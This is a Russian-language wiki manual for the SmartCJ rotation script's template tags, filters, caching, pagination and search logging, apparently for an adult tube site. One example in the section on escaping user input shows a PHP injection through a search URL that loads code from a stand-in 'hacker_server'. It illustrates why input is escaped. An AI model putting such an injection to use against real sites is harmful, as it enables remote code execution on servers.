====== New Rotation Templates ====== Темплейт – это обыкновенный html со специальными тагами, указывающими где и как выводить тумбы. Темплейты хранятся в базе, результаты кешируются на время указанное вами в сетингах либо в настройках темпелйта либо прямо в таге. В редактировании темплейтов есть поля cols & rows. Эти поля в принципе никак не вляют на ротацию и нужны только для удобства просмотра статистики ячеек в [[Cell Stats]]. Имя темплейта никак не связано с тем какие таги там можно использовать, например категория выводится по умолчанию темплейтом content_list, но вы можете добавить &force_template=... в реврайт категории и выводить ее любым темплейтом. Во всех темплейтах должен быть хоть 1 субтемплейт. Субтемплейт это то как будет выведена каждая тумба. Вот пример как он выглядит: Субтемплейтов может быть любое количество. Обратите внимание, что 1. Физически пути /gallery//index.html на серваке нет, страницы формируются на лету, при запросе самой страницы, а такой урл получается благодаря реврайтам. [[New Rotation FAQ]] 2. В данном примере скрипт считает клики по параметру , но этот параметр не обязателен, тк новая версия умеет счииать и без него [[Rotation Parameter]] Места для вывода тумб в темплейте указываются следующим образом. Например, - значит вывести тут тумбу номер 1, используя сабтемпелйт default если не указывать сабтемплейт, то по умолчанию берет default, то есть равно Можно указывать пространства номеров, например выведет 5 первых тумб. В самом таге можно указывать фильтры. Базовый пример: у нас есть темплейт index, по дефолту у него нет никаких фильтров, и если написать то вы получите первые 10 по CTR тумб из всех категорий. Для фильтра по спонсору: Если в названии спонсора есть пробел, используйте кавычки. Можно также фильтровать по одному ID или по нескольким ID. Выведет первых 10 тумб соответствующего спонсора. Точно так же можно указывать группу (категорию): Можно фильтровать по названию категории, по ID или исключать категории через skip_category. Сортировку: И лимит по типу контента: выведет только те, у которых тип контента картинки (может быть так же movie - выводит и мувики, и флеш; flash - только флеш; movie_only - только именно мувики) И конечно их можно совмещать, например Обратите внимание, что сабтемплейт можно указывать прямо в основном темплейте, что часто бывает очень удобно, например <--- это сабтемпелйт C этими фильтрами в тагах есть ньюанс: фильтры дополняют те, которые уже переданы в запросе страницы. Например страница категории /category/super_name/ что реврайтом преобразуется в запрос /?category_name=super_name по умолчанию в темпелйте стоит только тк в запросе уже есть фильтр category_name то даже несмотря на то что в таге то в этом таге выведет тумбы с 2ми фильтрами: тумбы, которые в группе super_name И принадлежат спонсору ид = 5. Если надо именно определенная группа, тк надо переназвачить то что уже назначено в урле (в нашем примере category_name), надо группу явно указать в таге, то есть **Сабтемплеты** Хотелось бы напомнить немного про темплейты: будет выводить тумбы юзая сабтемплейт default, вы можете указать другой саб темпелйт или вписав сабтемплейт прямо в таг: img src= Если у вас нет сабтемпелйта default, и саб темпелйт нигде не указан, то какие сабтемплейтом выводить тумбы ? **Ограничение по длительности**
что аналогично если в темплейте просто
но урл domain/scj/tube/?duration_min=10&duration_max=90 Обратите внимание что параметры везде можно передавать любым способом http://smartcj.com/wiki/doku.php?id=ru:new_rotation_hints#setting_get_parameters **Ограничение по ИД группы** Добавлен параметр skip_category_id в УРЛ или таг , смысл простой - не выводить тумбы из группых такой-то. **Ограничение по спонсору** ... ... ... Включение всех сайтов одного спонсора. В спонсорах есть 2 поля Sponsor name and Sponsor Site, те у одного спонсора - может быть несколько сайтов (в Rotation - Sponsor они комбинируются в меню). Можно вывести все сайты одного спонсора Исключение спонсоров ... ... **Ограничение по дате** &date_start=2012-01-01&date_end=2013-01-02 соответственно выведет тумбы из данного временного промежутка. Можно использовать и только 1 парамтер начала и конца. А так же несколько пресетов &date_limit=today (yesterday, this_week, this_month) - что автоматически подставит нужные даты ** И по продолжительности мувика (в секундах)** &duration_min=60&duration_max=120 **Общие таги для темплейтов** имя текущего темплейта **Повторяемость галер - allow_dupes** Если у вас условно есть таг и вы впишете где-то в темплейте или , те когда параметры тага точно совпадают, то скрипт выведете те же тумбы. Однако, если таги отличаются, например следующий таг и тп то при выборке для этого тага галеры, которые были найдены в первом таге, будут исключены. Такое поведение можно избежать если добавить в таг **Num modifiers** обычно номер задается в таге ... и мы хотим подмешать как рекламу спонсора. В обычном случае это выглядело бы как ... ... ... те нам надо руками указать где именно разрыв в настоящих тумбах и линк на спонсора. в новым тагом сделать это намного удобнее 1. создаем сабтемплейт например sponsor_thumbs ... 2. в странице прописываем как ... те из 100 тумб на рендомных местах будет выведено не ... , а то что указано в сабтемплейте sponsor_thumbs, те линк на спона. Таким образом эти линки будут органично вписаны в страницу и не выглядеть чем-то инородным. Обратите внимание, что можно указывать несколько сабов например inline_thumbs_subtemplate=subtemplate1,subtemplate2 и тп и будет брать по очереди каждый из сабов. **Inline** так же работает для моделейб спонсоров, search_log



===== Thumb status ===== По умолчанию скирпт выводит только активные галеры, но в некоторых случаях может понадобился вывести и не активные. Для этого в макросе date date_asc duration rating total_shows gallery_id no_order (как выдаст база так и выводит, фактически по ИД) random , обратите внимание что random медленный на больших базах easy_random - псевдо рендом, рекомендуется использовать этот вариант на больших базах comments_count - по кол-ву комментов (медленно на больших базах) Как уже было отмечено выше параметры из урла переходят в таг, если не указано обратного. Те &order=date в урле это тоже самое что но тут надо помнить что по умолчанию на этих полях нет индекса, и сортировка на больших базах по этим полям может быть медленной. Если вы понимаете что делаете то имеет смысл добавить индекс на это поле. Так же можно ставить промежуток для кастом полей, добавляя слова from & to , например

gallery_id=GET_gal_id тут мы берем ИД галеры из параметра gal_id с урле, те если открыть страницу как domain/?force_template=test&gal_id=12345 то в первом блоке будет выведена галера 12345 ===== Cache parameter ===== По умолчанию мы кешируем страницу сайта на время указанное в сеттингах (Cache time, seconds) по дефолту 600, это значит что страница сгенерится 1 раз и потом будет показываться в этом виде 600 секунд, даже если данные изменятся, это позволяет разгрузить сервак и не генерить страницу на каждый заход. Далее можно регулировать кеширование для каждой страницы: в редактировании страницы так же есть поле Cache time, seconds, этот параметр более важен чем общий. Но можно регулировать еще глубже - в таге например if (false === ($cache_result = Cache::get('cache_name'))) { $cache_result = 'какие-то ваши вычисления и тп'; Cache::set('cache_name', $cache_result, время_кеша_в_секундах); } выводим $cache_result (тут он точно есть - или из кеша или вычисленный если кеша не было ===== Page main tag ===== Проблема: у нас есть какая то страница на которой 2 тага: - те просто заполнение мета данных а позже в странице опять те те же тумбы но другой сабтемплейт что б вывести тумбы несмотря на то что выведено 2 раза - будет посчитан только 1 показ. Также это работает для системных тумб, например тумб категорий. Это надо например когда вы просто выводите лист категорий, без вывода тумбы, и вам не надо добавлять +1 показ к тумба категорий, например
===== Mobile Templates ===== Если вы хотите отдельный дизайн для мобильных устройств то любой темплейт может быть продублирован темплейтом с таким же именем, но с **mobile_ в начале**, и мобильный траффик получит темплейт с mobile. Например, у нас есть index, mobile_index и content_custom_pic (условно mobile_content_custom_pic не создавали). Серфер мобильный пришел на индекс - ему покажет темпелейт mobile_index. Далее он попал на галерею - ему покажет content_custom_pic, тк mobile_content_custom_pic нету. **NOTE** Если по какой-то причине вы хотите дать возможность пользователю выключить этот функционал - есть параметр &skip_mobile_templates=yes в этом случае скрипт не будет подставлять мобильные темпелйты. Если надо включить снова функционал - skip_mobile_templates=no ===== Related Galleries ===== Для кастом галер есть возможно вывести тн related galleries, по дефолту это галеры из той же категории, но можно менять в таге Примеры some template some template some template some template some template исключить текущую галерею из результатов Эти варианты более комплексные (больше грузят базу) чем варианты выше выводим в порядке сортировки по кол-ву совпадающих тагов (условно если совпало 4 тага, это лучше чем когда совпало 3 тага) выводим в порядке сортировки по кол-ву совпадающих групп можно так же пропускать спонсора, например ... Обратите внимание, что CURRENT_ITEM_TAG and CURRENT_ITEM_GROUP берут для выборки рендомную группу\таг если их несколько. CURRENT_ITEM_TAGS_COMBINED - берет сразу все таги. ====== Special Parameters ====== ===== THIS_CATEGORY_BEST_THUMB_ID ===== По умолчанию тумба категории - это лучшая тумба в категории. Но например, у нас есть тумба которая находится в 5 категориях, и она супер популярная. При выборе тумбы категории она становится тумбой категории А, для категории B она уже не будет быть тумбой категории, что бы на индексе не было повторений, и тумбой категории B становится 2я по цтр тумба. Однако когда серфер заходит в категорию В он видит тумбу на которую кликнул не сразу. Показанный таг ставит тумбу категории на первое место в обязательном порядке. Тестовый параметр, смотрите насколько работает для вас. ====== Subtemplate tags ====== Таки которые можно использовать в сабтемпелйтах оно же - УРЛ галереи. УРЛ тумбы - экстра тумба ИД тумбы для подсчета кликов (так называемый параметр ротации; если его не будет, клики по тумбе в цтр не засчитаются) Описание SEO видное описание гали где DE IT языки, если вам надо вывести слаг на другом языке ИД тумбы в базе время добавления альтернативное описание (title) - первый таг - второй таг и тп - вывести все доступные таги в цикле - если у гали есть несколько тумб для ротации, этот таг выведет их все через запятую (old style ) и тп (old style ) те все переменные группы можно так же вывести в виде GROUP_1_переменная_группы вывести циклом все группы галереи = = - общее кол-во голосов , - кол-во проголоовавших 1, 2 и тд , и побитно 1 - images, 2 movie , 4 - flash. - видео превью можно вывести циклом все модели галереи - ИД тумбы в пределах галеры, к которой относится текущая тумба ротации - кол-во коментариев у этого видео - номер тумбы в листинге на странице исходный URL, если галерея была создана из какой-то другой, а не из, например, embed code или контента, загруженного вручную Подробнее про видеопревью - [[ru:rotation_crop_profiles#video_preview|Video Preview]] Например, мы сграбили галеру где 10 картинок, в кастом галере - 10 картинок. В ротацию добавили например 5 их них. Теперь мы хотим что бы человек попадал с тумбы ротации (например со страницы категории) сразу на страницу с нужной картинкой. Например при ротации лучшая тумба - номер 3 (в ротации напоминаю 5 всего), и этой тумбе номер 3 соответствует картинка например номер 6 в кастом галере. В этом случае выведет 6. Линку можно сделать вида /gallery//.html , реврайт out.php?url=content&slug=...&item_id=... **Вывод переменных категорий** Например, на странице категории мы решили вывести (условно урл domain.com/category/asd/ - ясно что мы выведем asd), но на странице галеры, у которой например 3 категории, если мы используем то не ясно название какой из 3х надо вывести. Для этого, как можно видеть выше, есть дополнения, пример , либо таг Смысл проблемы в том что если вы выводили например группы как то могли получить что то вроде "category1,category2,category3," и вот эта последняя запятая портила вид. Теперь можно сделать и выведет без нее "category1,category2,category3" ===== category_list ===== Представим, что у нас есть 2 основные категории: машины (1) и мотоциклы(2), и каждая из них содержит подкатегории (например цвета красный, синий и тп) Получается, что любая галера по факту в 2х категориях как минимум, например "машина" и "синий". Мы выводим в темплейте только машины, например
в этом случае ===== tag_list ===== В темплейтах есть возможноть вывести циклом все таги галеры дополнительные параметры order=alphabet, random search="milk" separator="," tag_status=wait \ active **Tag languages** Если у вас несколько языков, то таги можно перевести на соответствующий язык например и тогда на странице /de таги буду выведены на немецком обычно таги линкуются на страницу в листингом галер по этому тагу например
/'> (other lng and so on) ===== Language Modifiers ===== Если у вас насколько языков на сайте, то к любым данным на другом языке можно обратиться если добавить в конце тага ::LNG, например на странице /de текущий язык страницы (в этом примере выведет на немецком) на основном языке (допустим основной английский) на немецком на итальянском ===== Comments ===== На странице галереи можно вывести комменты к ней : И пагинация комментов ... Параметры order = date sort = asc \ desc (desc по умолчанию) ====== Page tags ====== Для каждой страницы есть ряд собственных тагов. **Актуальные для всех** **Для страницы категории** = = общее кол-во галер в категории **Для страницы модели** **Для поиска** **Страница спонсора** **Для кастом галерей** Базово для каждой кастом гали доступны все теже таги, что и в сабе. Те если у нас есть тумба 1 с деском "super pic" который в сабе выводится тагом , то и на кастом галере этот же таг выведет тоже самое. Это же относится и к тагам по спонсору, те если галя спонсора 1, то все таги спонсорские, например , выведут данные по этому спонсору. Но есть несколько тагов, которые актуальны именно для страниц кастом галер. **Для эмбед галер та же актуально** **Для flv галер актуально** **Для picture\movie galleries**
Можно лимитировать по типу контента movie, flash (хотя сейчас флеш уже не актуально, но для старых сайтов может быть)
Поддерживается старый вариант вывода контента, но лучше пользоваться указаным выже урл первой большой картинки урл первой тумбы соотв размеры IMG_2_ IMG_3... и тд Обратите внимание: начиная с версии 49 идет разделение контента кастом галер, то есть вы можете сделать кастом галю с миксованным контентом, например пикчи и мувики Для первой пикчи будет Для первого мувика будет Для первого флеш мувика будет а так же - это весь текст с галеры, с которой делался кастом галя. Вы можете редактировать этот текст в Edit любой галереи. И общие переменные для кастом гали а так же пример проверки наличия картинки ') { ?> Для комментов : Для single_page_item ====== Tag prefix ====== Для стандартных модификаций переменных существуют префиксы. Например, вы хотите сделать '); ?> Если в опиании окажется ковычка то такой код в вашем темплейте выдаст ошибку. Например описание "tom's dinner", получается как не сложно заметить тут возникает проблема с ковычками. Что бы этого избежать надо использовать префиксы например **'); ?> Те выглядит это как замена тага обычного на таг с префиксом Например, так становится и так со всеми тагам. В нашем примере таг будет заменен на "tom\'s dinner", код получится который будет выполнен без ошибок. На данный момент существуют следующие префиксы: **1. Экранирование ковычек** Например, так становится и так со всеми тагам. **2. HTMLENTITY для замены html спецсимволов например & на &** '&' (ampersand) becomes '&' '"' (double quote) becomes '"' when ENT_NOQUOTES is not set. ''' (single quote) becomes ''' only when ENT_QUOTES is set. '<' (less than) becomes '<' '>' (greater than) becomes '>' Например, так становится и так со всеми тагам. **3. URLENCODE для спецсимволов в урлах, например пробел на + и тп ** Например, так становится и так со всеми тагам. Фактически http://www.php.net/manual/en/function.urlencode.php **4. RAWURLENCODE для спецсимволов в урлах, например пробел на %20 и тп ** Например, так становится и так со всеми тагам. Фактчиески http://www.php.net/manual/en/function.rawurlencode.php А так же , комбинируя ее с **5. STRIP_SPECIAL_CHARS_ для удаления всех спецсимволов !$@ и тп ** В данный момент replace выглядит как trim(preg_replace('|[\\\,\|\,<\.>\/\?;:\'\"\[\{\]\}\`~@#\$%\^&\*\(\)\-_=\+]*|i', "", $var)) Например **6. URLSAFE_ ** заменяет пробелы и прочее на тире для красоты урла ** More ** UPPERCASE_ - все большими буквами LOWERCASE_ - все маленькими буквами UCFIRST_ первая буква в предложении - большая CUT20_ - обрезать оставив только первые 20 символов WORDCUT20_ - обрезать оставив только первые 20 символов с учетом окончания слов, те не обрезать слово на половине ====== Tag prefix - why important ====== Как вы вероятно знаете, в темплейтах можно использовать пхп код. Рассмотреть все нюансы языка в одном примере конечно не получится, да и видимо не надо, однако хотелось бы показать небольшой пример. Например, нам надо вывести деск, таг и мы решили сделать его весь большими буквами, на пхп это очень просто: меняем на ')?> Однако тут есть нюанс: если в деске окажется кавычка, то получится что-то вроде те незакрытая кавычка и получится ошибка пхп. По этой причине такой вариант "в лоб" можно использовать только если вы уверены, что во фразе не будет кавычки (например урл ?). В остальных случаях надо пользоваться тн префиксы [[new_rotation_templates#tag_prefix]] Пример, с будет выглядеть как: ')?> **Пример с SEARCH_QUERY** Юзер ищет /?search=boy's girl У вас например Search was ')?> получается код Search was который падает с ошибкой еще хуже если в урл предается код для взлома, например /?search=' . file_get_contents("http://hacker_server/some_code.php") и он выполняется у вас в темплейте. Поэтому очень важно весь пользовательский ввод эскейпить Search was ')?> ====== Pagination ====== Поскольку тумб много обычно, нам нужна навигация по страницам. Пример:
  • * skip_href_deletion=true по дефолту скрипт удаляет a href с текущей страницы, с этой опцией - не будет удалять. * active_link_style=act_pg и link_style=not_act_page проставляет соответствующие стили для активной и неактивной страницы * max_pages ограничить макс кол-во страниц. Полезно если у вас очень большая база, реальные люди все равно в самый конец не ходят. Например , наш код навигации такой:
  • условно мы сейчас на 2й странице, а всего старниц 3. скрипт выведет:
  • 1
  • 2
  • 3
  • без skip_href_deletion=true это выглядело бы так
  • 1
  • 2
  • 3
  • еще примеры: 1. явное задание атрибута style html-тэгам условно мы сейчас на 2й странице, а всего старниц 3, тогда:
  • скрипт выведет:
  • 1
  • 2
  • 3
  • 2. установка значений data-атрибутов в зависимости от текущей страницы:
  • для запроса ?page=**2** сформирует html-разметку вида:
  • 1
  • 2
  • 3
  • 3. задание отдельного css-класса для текущей страницы: для запроса ?page=**3** сформирует html-разметку вида:
  • 1
  • 2
  • 3
  • 4. задание отдельного css-класса для текущей страницы с заменой тэга: для запроса ?page=**2** сформирует html-разметку вида:
  • 1
  • 2
  • 3
  • **List all the pages** Если надо вывести все страницы пагинации ... ... ... ... Обратите внимание, что пагинация показывает страницы для тумб ротации. Для тумб категорий, поскольку их обычно фиксированное кол-во, нет смысла пересчитывать каждый раз при создании страниц. Поэтому если вам надо пагинация для тумб категорий то можно лучше всего сделать так тут надо обратить внимание: это выведет категории с учетом текущей страницы, потому что по умолчанию на любой странице вы хотите видеть все же топ категории добавляем линки и тп думаю не сложно вычислить сколько вам надо линков в зависимости от кол-ва категорий у вас. И получается навигация для категорий. ====== Category Thumbs ====== Cкрипт автоматически создает тумбы категорий, которые по умолчанию равны лучшим тумбам из каждой категории. Может быть 2 набора тумб категорий. Настраивается в Rotation - Tube - Settings. Для вывода списка категорий
  • () ()
  • Параметры: * num какие номера выводить (в данном примере с 1й по 5ю из списка). * min_gallery_count лимит по кол-ву галер в категории * set - выбор сета тумб категорий, по дефолту 1 но можно сделать set=2 например * first_letter=... вывод категорий начинающихся с такой-то буквы, # - начинается с цифры * custom_name_first_letter = ... вывод категорий у которых кастом имя начинается с такой-то буквы * category_custom_var1 category_custom_var2 category_custom_var3 - по кастом полям * filter_field= и сразу filter_value - унифицированно для указанного выше например filter_field=custom_name filter_value=GET_somevar где GET_somevar - это somevar взятая из урла * sort_field = сортировка по определенному полю (category_name, category_custom_name, category_custom_var1 (2, 3) ) * sort_order - относительно sort_field (asc, desc) * order - сортировка списка категорий по алфавиту (alphabet), по популярности (clicks), кол-ву галер (total_items) , случайно (random) Технически можно сортировать по любому полю из массива кажой категории, но вот список тех сортировок которые возможно пригодятся кроме 2х наиболее используемых category_custom_name, category_description, category_id, category_custom_var1, category_custom_var2, category_custom_var3 * parent_id = ID родительской группы * name="cat1,cat2" имя категории * category_id= ИД категории Доп таги для списка категорий: * - топ тумб категории, через запятую, эти данные можно обрабатывать в темплейте как вам надо. ===== Category Pagination ===== По умолчанию если мы выводим категории, то на всех страницах надо вывести просто список категорий без сдвига, те если у вас в хедере страницы например (тут надо обратить внимание на добавление adjust_num_to_page) И к этому можно добавить пагинацию именно для тумб категорий (тут надо обратить внимание на type=pagination) (categories total = ) ... Предыдущая и следующая страницы prev = Next = Тут везде надо обратить внимание что таги практически одинаковые, те если у вас всего 100 категорий то Next = выведет next на 4й старнице, а если сделать Next = то на 4й странице не будет next. ====== adjust_num_to_page ====== По умолчанию тумбы категорий и моделей выводятся без учета &page= в урле , например у вас темплейт index то на первой странице выведет первые 10 категорий и первые 10 тумб. На второй странице будет опять же первые 10 категорий, а вот тумбы будут уже 11 - 20. Сделано так было в свое время тк в большинстве случаев список категорий "двигать" по страницам не надо, иначе например на 5й старнице списка категорий уже не было бы. Но бывают варианты, когда вам надо все же "двигать" список категорий по страницам. В этом случае пригодится параметр adjust_num_to_page=true, например в этом случае на 2й странице выведет категории 11-20 ====== Language list ====== Перечислить доступные переводы можно тагом .. ...
    так же для текущего языка можно использовать таг отдельно, например линк /best_videos, у вас реврайтами сделаны языки как например domain.com/de, те польный урл получается https://domain.com/de/best_videos Тогда в темплейте это можно указывать как https://domain.com//best_videos и код языка будет подставляться в темплейте ====== Include template ====== Можно подключать любой темплейт, например вынести хедер сайта в шаблон header и, дабы не дублировать начало каждой страницы, подключать его в нужном темплейте Аналогично, можно подключать любой другой темплейт. ====== INCLUDE_FILE ====== Часто в темплейтах есть иинклуды внешних файлов, например кусок кода с обменом линками, который при этом часто бывает даже на другом домене\серваке. Это можно делать через это практически аналог Разница в том, что в первом варианте файл инклудится 1 раз и кладется в кеш. Во 2м варианте файл инклудится каждый раз при загрузке страницы. В принципе, для локальных файлов можно сказать, что разницы нет. Если файл на удаленном серваке то надо делать так: **НЕЛЬЗЯ** делать так Для удобства переноса темплейтов между доменами можно пользоваться вариантом где BASE_DIR берется из common.php и соответственно свой для каждого домена. ====== Tag Cloud ====== Так же можно лимитировать кол-во тагов и сортировать по кол-ву галер в таге Другие параметры тага gallery_count_min - минимальное кол-во галер для вывода first_letter - таг начинается с этой буквы filter - таг содержит это слово, в дополнение можно использовать filter_type = exact_search для точного совпадения filter_type = fulltext_search - если добавлен FULLTEXT index status=all по умолчанию Вывод лучшей тумбы по данному тагу и далее можно добавить любые таги, характерные для тумб, например что выведет лучшую тумбу по данному тагу По дефолту выбор лучшей тумбы для каждого тага выключен тк это в определенной мере нагружает сервак. Настройки находятся в Rotation - Tube - Settings. ====== Model List ====== Можно вывести всех доступных моделей доступные параметры для тага моделей модели на "а" только минимум 20 галер сортировка по кол-ву галер сортировка по среднему CTR всех галер модели - цтр тумб вывод только тех моделей, у которых есть фото (загруженное мануально) вывод только тех моделей у которых есть выбранная автоматически тумба модели (выбирается в Rotation Settings - model thumbs) фильтр по кастом вар1 (model_custom_var1="asd" ) вывод тех у кого в кастомвар не пустая ===== Model Thumbs ===== Есть 2 варианта картинок моделей: фото моделей (добавляется в админке) и тумбы моделей (Так же как и для тагов для каждой модели скрипт может автоматически выбрать лучшую тумбу, включается в Rotation - Settings - System Thumbs, по умолчанию выключено что б не расходовать лишние ресурсы) **Тумбы моделей** что выведет лучшую тумбу модели. Пример реврайта для моделей RewriteCond %{QUERY_STRING} ^(.+)$ RewriteRule ^model/(.*)/$ \ /scj/cgi/out.php?link=images/%{QUERY_STRING}&url=content&p=100\ &skip_to_cookie=true&skip_sell=true&model_slug=$1\ &force_template=model_galleries [L] RewriteRule ^model/(.*)/$ /scj/tube/?model_slug=$1&force_template=model_galleries [L] Выводим тумбы моделей (gallery_count_min=1 добавлено дабы выводить только тех моделей для которых могло создать тумбу модели, а для этого надо как минимум одна галера для модели)
    ===== Model Photos ===== У моделей могут быть свои фото, это именно фото модели (которые добавляются в админке), а не тумбы галер, где есть это модель. Вывод фото
    ===== Model Pagination ===== Можно добавить пагинацию для моделей ( )
    ====== Sponsors List ====== Можно так же вывести список спонсоров. Параметры order= alphabet, ctr, sponsor_name, count_galleries ===== Sponsor URLS ===== В rotation - sponsors каждому спонсору можно добавить несоклько урлов: site_url, trial_url и join_url. На самой галерее можно соответствующими тагами вывести эти урлы, НО тогда серфер будет видеть урл на спонсора вместе с вашей реф линкой, кроме того этот урл не всегда красивый. По дефолту есть реврайт вида http://domain/go// который пошлет на урл, прописанный в site_url. Можно доабвить в реврайты RewriteRule ^go/(.*)/(.*)/$ /scj/tube/?action=sponsor&sponsor_slug=$1&field=$2 [L] и использовать урлы http://domain/go//trial_url/ http://domain/go//join_url/ что бы посылать на другие урлы спонсора. ====== Search log ====== Если у вас на сайте есть форма поиска (domain/?search=...) то все поисковые запросы логгируются, позже можно вывести лог этих запросов. Но можно так же вывести лог этих запросов на любой странице, например Обратите внимание, что при логгировании поисковых запросов так же учитывается поле из сеттингов Banned words и если кто-то ищет слово из списка - оно не будет логгировано. ........ order=hits - может так же быть alphabet, date, если не указано сортируем по кол-ву хитов. sort=ASC (DESC) в дополнение к тагам выше для сортировки в другом порядке date_limit=today - может быть так же yesterday, this_week, this_month date_start=дата date_end=дата min_results= где по результатам поисков было более чем Х результатов min_hits= это искали минимум Х раз search= фильтр поисковых запросов по этому слову есть "синтаксический сахар" search= CURRENT_CATEGORY_NAME или CURRENT_TAG_NAME что тоже самое что и search=GET_category_name и search=GET_tag_name (те берем слова для поиска из урла) exclude_search_query= исключить из результатов 99% будет exclude_search_query=GET_search - те исключение текущего запроса При поиске на сайте мы логгируем сам запрос, например, "машина" и ИД галеры, которая первая по этому запросу, таким образом можно вывести не только сами запросы, но сразу и тумбы топ галер по этим запросам. Например, Best gallery: и тп данные галеры, которая была первой по этому запросу Можно указать не сохранять в лог поисковые запросы по этому запросу ====== Search log : allow_dupes ====== каждый поиск запоминает первую галеру по результатам этого поиска, вывести можно как - Best gallery: однако есть вероятность что по разным поискам первой галерой будет одна и та же галера, поэтому по умолчанию дубли не выводит , если вы выводите только поисковую фразу , без галеры, то вам не важно такое дублирование и можно сделать ====== Related Search log ====== Например, пользователь искал у нас на сайте "машина", а потом искал "бензин" или "прицеп", те это связанные по смыслу поисковые запросы. Если мы это запомним то сможем в будущем выводить такие запросы, например, пользователь ищет "машина", а мы там же выводим "может быть вы хотите еще посмотреть результаты по бензин и прицеп". Для трекинга надо поменять линки на сайте что бы запрос поиска был вида /?search=....&ref_search_query=... где ref_search_query= это и есть предыдущий запрос. Например, в форме поиска
    что б потом вывести связанные запросы
    те в ref_search_query мы ищем кей совпадающее с GET_search ====== Search log - approved ====== По умолчанию все поисковые запросы сохраняются в базу и отмечаются как new. Так же по умолчанию таг и будет выводить только те поисковые фразу, которые вы апрувнули в админке. ====== Syntactic Sugar ====== Для удобства в макросах можно пользоваться "синтаксическим сахаром", например ........ такой синтаксический сахар действует во всех тагах на данный момент добавлено CURRENT_CATEGORY_NAME CURRENT_TAG_NAME Планируется добавить все данные, если надо что-то больше - пишите на форуме и будет добавлено. ===== Search log pagination===== Решается добавлением type=pagination в таг обратите внимание что таг пагинации должен быть такой же как и "основной" таг, например основной таг
    можно его отфильтровать с учетом текущего поиска Например, серфер ищет domain.com/?search=test, в темплейте у нас вывод тумб результатов поиска и вывод поисковых запросов где GET_search - это параметр search из GET (те урла) **Ньюанс фильтрации** По умолчанию mysql ищет как полное слово, например искали "test car" оно будет фильтровать по полному вхождению. Те в данном случае если в поисковых запросах будет "test bus" то этот запрос не выведет. Если у вас mysql версия 5.6 и выше то поле автоматически конвертируется в полнотекстовый поиск (mysql fulltext search) и в этом случае вам ничего не надо делать, скрипт будет автоматически искать и по одному слову, те в примере "test bus" тоже попадет в результаты. Но если у вас mysql до 5.6 ЛИБО кол-во поисковых запросов очень велико (100к+), то вам надо использовать sphinx для поиска. Индексируем поисковые запросы (см Sphinx статью в вики) и прописываем Sphinx Search Log Index в сетингах. По дефолту сфинкс тоже ищет полные вхождения, но ему можно прописать флаг Sphinx Search Mod = SPH_MATCH_ANY и он будет искать даже по одному слову. ===== Search query limit ===== На сайте может быть масса вариантов лимитирования поиска, например /?search=... может превратиться в /?search=...&category_id=.. или /?search=...&tag=.. и так далее, варианты могут быть разными и комбинированными, поэтому добавлен свободный параметр &search_query_limit Например, у нас поиск по группе teen. Добавляем в урл search_query_limit=teen, например /?search=...&category_name=teen&search_query_limit=teen и например поиск просто без лимита по группе /?search=....&search_query_limit=empty при выводе если мы хотим вывести поиски только которые были по группе teen то (а мы помним что там было search_query_limit=teen) Можно подставлять &search_query_limit в зависимости от того как вы хотите потом фильтровтаь запросы. И конечно помним что это можно сделать динамичным если взять параметр из урла **Языковой поиск** Аналогично можно сделать разделение поиска по языкам что бы выводить на соответствующих языках. Скрипт сам не определяет на каком языке написано конкретное предложение, но это можно взять из урла например добавляем параметр с текущим языком &search_query_limit=lng_en в строку поиска domain/?search=test&force_lng=en&search_query_limit=lng_en domain/?search=test1&force_lng=en&search_query_limit=lng_en domain/?search=blabla&force_lng=de&search_query_limit=lng_de domain/?search=blabla2&force_lng=de&search_query_limit=lng_de Таким образом у нас у базе для каждого поиска будет отмечено на каком языке он сделан. Добавлять параметр не составляет труда прямо в темплейте, например В темплейте добавляем и открываем страницу как domain/?your_param=lng_en, мы должны получить test,test1 тк на них стоит пометка lng_en Обратите внимание, что можно добавить руками поиски в базу (Add Search requests) в формате "search_query|search_query_limit" те сразу указать search_query_limit ====== Toplist ====== Привычная схема для многих - топлист трейдеров в отдельном файле и инклудится в темплейт. Лучше пропустить момент с созданием отдельного файла и добавлять топ трейдеров прямо в темплейт, при этом можно например подмешивать их. тумба трейдера еще 2 тумбы трейдеров и тд таким образом можно не делать выделенный топлист и даже поставить ским 100. Проблема была в том, что для того, что б вывести 1 или 2 тумбы трейдеров надо было делать большое кол-во темплейтов топа и потом их инклудить в нужном месте темпелйта. Сейчас трейдеров можно выводить прямо в темплейте в нужном кол-ве. Можно указать рендомное кол-во тумб, например выведет 3 трейдера от которые где-то на позиции между 1 и 10 Итого внутри тага номер в топе - домен = и так далее, если у вас для каждого трейдера более одной тумбы перс декс для гурппы - отдельные дески трейдера по группам (в редактировании трейда) с отдельными описаниями для групп есть небольшой ньанс. Например у нас трейдер А находится в группе 1. Обычное описание у трейдера "тест", а в группе 1 "супер тест" Если мы выведем макрос выводит всех трейдеров и в том числе трейдера А. Тк тут не указана группа то выведет "тест", но если в макросе указана группа например то выведет "супер тест". Возможные параметры для тага num = номер трейдера, может быть промежуток например 1-5 order = сортировка, варианты uniques, raws, priority, clicks, random по деофлту - uniques. group= группа трейдеров skip_group= пропустить группу unique_hits_limit=2-100 - ограниение по кол-ву хитов трейдеров Вариант сортировки priority нас интерисует в первую очередь для трейда, те тумбы трейдеров которым мы должны отдать в первую очередь будут находится выше в темплейте. **Blocked countries** Если у вас блокируются какие-то страны для трейдера ( условно не слать IN на трейдера domain.com) то логично не выводить в топе трейдеров этого трейдера для трафика из Индии. Для этого в таг надо добавить Это немного увеличивает нагрузку тк для каждого хита надо проверять что выводить, с другой стороны правильнее распределяет трафик. **Тумбы трейдера** По умолчанию тумбы трейдера создаются в scj/top/tt (можно поменять в сетингах) в виде trader.com.jpg. Фактически вам даже не надо (это просто тн синтаксический сахар), можно вывести просто .jpg Если вы указали перс урлы трейдера по категориям, то будут созданы тумбы название по шаблону trader.com.CATEGORY_NAME.jpg те условно trader.com.teen.jpg, соответственно что бы вывести .категория.jpg ===== Trader CRC ===== Вариант спрятать домен в линке, например
